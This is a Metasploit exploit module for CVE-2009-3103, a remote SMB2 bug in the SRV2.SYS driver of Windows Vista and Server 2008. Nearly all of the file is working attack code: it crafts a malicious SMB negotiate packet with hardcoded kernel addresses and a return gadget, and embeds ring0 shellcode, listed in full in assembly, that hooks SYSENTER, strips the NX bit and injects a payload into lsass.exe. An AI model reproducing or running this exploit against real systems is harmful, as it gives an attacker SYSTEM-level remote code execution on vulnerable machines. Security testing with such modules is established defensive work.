##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::SMB

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
      'Description'    => %q{
        This module exploits an out of bounds function table dereference in the SMB
      request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
      release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
      without SP1 does not seem affected by this flaw.
      },

      'Author'         => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => 
        [
          ['CVE', '2009-3103'],
          ['BID', '36299'],
          ['OSVDB', '57799'],
          ['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
          ['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'           => 1024,
          'StackAdjustment' => -3500,
          'DisableNops'     => true,
          'EncoderType'     => Msf::Encoder::Type::Raw,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [    
          [ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
            {
              'Platform'       => 'win',
              'Arch'           => [ ARCH_X86 ],
              'Ret'            => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
              'ReadAddress'    => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
              'ProcessIDHigh'  => 0x0217,     # srv2!SrvSnapShotScavengerTimer
              'MagicIndex'     => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
            }
          ],
        ],
      'DefaultTarget' => 0
      ))

    register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true,  "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
  end

  # The payload works as follows:
  # * Our sysenter handler and ring3 stagers are copied over to safe location.
  # * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
  # * The srv2.sys thread we are in is placed in a halted state.
  # * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
  # * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
  # * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
  # * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
  # * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
  def ring0_x86_payload( opts = {} )
    
    # The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
    pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
    
    # The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
    kstager   = opts['StagerAddressKernel'] || 0xFFDF0400
    
    # The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
    ustager   = opts['StagerAddressUser'] || 0x7FFE0400
    
    # Target SYSTEM process to inject ring3 payload into.
    process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
    
    # A simple hash of the process name based on the first 4 wide chars.
    # Assumes process is located at '*:\windows\system32\'. (From Rex::Payloads::Win32::Kernel::Stager)
    checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )
    
    # The ring0 -> ring3 payload blob. Full assembly listing given below.
    r0 =    "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
        "\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
        "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
        "\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
        "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
        "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
        "\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
        "\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
        "\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
        "\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
        "\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
        "\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
        "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
    # Patch in the required values.
    r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
    r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
    r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
    r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
    r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
    # Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
    return r0 + payload.encoded
  end
  
  def exploit
    print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
    connect

    # we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest 
    # and srv2!SrvProcPartialCompleteCompoundedRequest
    dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]
    
    data  = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
    data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
    data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
    data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34  
    data += [ 0x42424242 ].pack("V") * 7  # Unused
    data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
    data += [ 0x41414141 ].pack("V") * 6  # Unused
    data += [ target.ret ].pack("V")      # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
    data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode
    
    # We gain code execution by returning into the SMB packet, begining with its header.
    # The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
    # This will cause an access violation if executed as we can never set EBX to a valid pointer.
    # To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
    # This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
    # We patch the Signature1 value to be a jump forward into our shellcode.
    packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
    packet['Payload']['SMB'].v['Command']       = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
    packet['Payload']['SMB'].v['Flags1']        = 0x18
    packet['Payload']['SMB'].v['Flags2']        = 0xC853
    packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
    packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
    packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
    packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
    packet['Payload'].v['Payload']              = data
    
    packet = packet.to_s
    
    print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
    sock.put( packet )


    wtime = datastore['WAIT'].to_i
    print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
    stime = Time.now.to_i


    poke_logins = %W{Guest Administrator}
    poke_logins.each do |login|
      begin
        sec = connect(false)
        sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
      rescue ::Exception => e
        sec.socket.close
      end      
    end

    while( stime + wtime > Time.now.to_i )
      select(nil, nil, nil, 0.25)
      break if session_created?
    end
    
    handler
    disconnect
  end

end

=begin
;===================================================================================
; sf
; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape.
;                      http://www.uninformed.org/?v=3&a=4&t=sumry
;===================================================================================
[bits 32]
[org 0]
;===================================================================================
ring0_migrate_start:
  cld
  cli
  jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address
ring0_migrate_patch:
  pop esi                        ; pop off ring0_stager_start address
  ; get current sysenter msr (nt!KiFastCallEntry)
  push 0x176                     ; SYSENTER_EIP_MSR
  pop ecx
  rdmsr
  ; save origional sysenter msr (nt!KiFastCallEntry)
  mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax
  ; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code
  mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ]
  ; patch sysenter msr to be our stager
  mov eax, edi
  wrmsr
  ; copy over stager to shared memory
  mov ecx, 0x41414141 ; ( ring3_stager - ring0_stager_start + length(ring3_stager) )
  rep  movsb
  sti ; set interrupt flag
  ; Halt this thread to avoid problems.
ring0_migrate_idle:
  hlt
  jmp short ring0_migrate_idle
ring0_migrate_bounce:
  call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack
;===================================================================================
; This stager will now get called every time a ring3 process issues a sysenter
ring0_stager_start:
  push byte 0 ; alloc a dword for the patched return address
  pushfd ; save flags and registers
  pushad
  call ring0_stager_eip
ring0_stager_eip:
  pop eax
  ; patch in the real nt!KiFastCallEntry address as our return address
  mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ]
  mov [ esp + 36 ], ebx
  ; see if we are being told to remove our sysenter hook...
  cmp ecx, 0xDEADC0DE
  jne ring0_stager_hook
  push 0x176 ; SYSENTER_EIP_MSR
  pop ecx
  mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address
  xor edx, edx
  wrmsr
  xor eax, eax ; clear eax (the syscall number) so we can continue
  jmp short ring0_stager_finish
ring0_stager_hook:
  ; get the origional r3 return address (edx is the ring3 stack pointer)
  mov esi, [ edx ]
  ; determine if the return is to a "ret" instruction
  movzx ebx, byte [ esi ]
  cmp bx, 0xC3
  ; only insert our ring3 stager hook if we are to return to a single ret (for stability).
  jne short ring0_stager_finish
  ; calculate our r3 address in shared memory
  mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ]
  lea ebx, [ ebx + ring3_start - ring0_stager_start ]
  ; patch in our r3 stage as the r3 return address
  mov [ edx ], ebx
  ; detect if NX is present (clobbers eax,ebx,ecx,edx)...
  mov eax, 0x80000001
  cpuid
  and edx, 0x00100000 ; bit 20 is the NX bit
  jz short ring0_stager_finish
  ; modify the correct page table entry to make our ring3 stager executable
  mov edx, 0x45454545 ; we default to 0xC03FFF00 this for now (should calculate dynamically).
  add edx, 4
  and dword [ edx ], 0x7FFFFFFF ; clear the NX bit
  ; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set).
ring0_stager_finish:
  popad ; restore registers
  popfd ; restore flags
  ret ; return to real nt!KiFastCallEntry
ring0_stager_data:
  dd 0xFFFFFFFF ; saved nt!KiFastCallEntry
  dd 0x42424242 ; kernel memory address of stager (default to 0xFFDF0400)
  dd 0x43434343 ; shared user memory address of stager (default to 0x7FFE0400)
;===================================================================================
ring3_start:
  pushad
  push byte 0x30
  pop eax
  cdq ; zero edx
  mov ebx, [ fs : eax ] ; get the PEB
  cmp [ ebx + 0xC ], edx
  jz ring3_finish
  mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS)
  mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string)
  add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process).
  mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00'
  add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s'
  cmp ecx, 0x44444444 ; check the hash (default to hash('lsass.exe') == 0x7373616C)
  jne ring3_finish ; if we are not currently in the correct process, return to real caller
  call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook
  call ring3_stager ; and then call the real ring3 payload
  jmp ring3_finish ; should the payload return we can resume this thread correclty.
ring3_cleanup:
  mov ecx, 0xDEADC0DE ; set the magic value for ecx
  mov edx, esp ; save our esp in edx for sysenter
  sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).
ring3_finish:
  popad
  ret ; return to the origional system calls caller
;===================================================================================
ring3_stager:
  ; ...ring3 stager here...
;===================================================================================
=end